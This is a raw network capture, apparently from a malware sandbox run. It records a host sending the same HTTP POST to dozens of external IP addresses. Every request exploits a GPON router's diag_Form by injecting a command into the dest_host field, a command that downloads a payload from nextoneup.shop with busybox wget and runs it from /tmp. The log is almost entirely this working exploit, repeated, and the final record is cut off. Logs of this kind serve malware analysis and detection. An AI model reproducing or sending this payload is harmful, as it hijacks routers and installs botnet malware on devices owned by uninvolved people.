355	192.168.2.13	45520	148.5.13.199	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.748785973 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
356	192.168.2.13	55572	79.203.74.94	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.748809099 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
357	192.168.2.13	44992	178.96.254.187	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.748809099 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
358	192.168.2.13	39352	148.237.59.117	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.748832941 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
359	192.168.2.13	47586	212.184.102.229	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.748857975 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
360	192.168.2.13	34796	178.50.56.128	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.748898983 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
361	192.168.2.13	57518	37.180.44.76	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.748943090 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
362	192.168.2.13	35420	123.76.6.29	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.748967886 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
363	192.168.2.13	37868	5.164.65.70	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.748984098 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
364	192.168.2.13	45882	210.32.190.33	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.749015093 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
365	192.168.2.13	56856	2.240.219.121	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.749051094 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
366	192.168.2.13	37382	5.59.16.197	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.749074936 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
367	192.168.2.13	33482	2.105.11.6	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.749092102 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
368	192.168.2.13	56826	148.252.68.114	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.749128103 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
369	192.168.2.13	57702	118.186.18.132	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.749160051 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
370	192.168.2.13	43184	178.95.123.12	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.749193907 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
371	192.168.2.13	42432	94.207.226.123	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.749226093 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
372	192.168.2.13	39720	212.58.44.84	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.749290943 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
373	192.168.2.13	45178	42.3.240.85	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.749293089 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
374	192.168.2.13	42504	109.187.14.52	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.749309063 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
375	192.168.2.13	53646	148.139.87.146	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.749339104 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
376	192.168.2.13	47770	79.18.184.192	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.749382019 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
377	192.168.2.13	58000	37.154.20.96	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.749429941 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
378	192.168.2.13	54224	148.142.228.56	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.749463081 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
379	192.168.2.13	46044	123.104.192.106	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.749465942 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
380	192.168.2.13	33640	94.133.254.194	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.749527931 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: 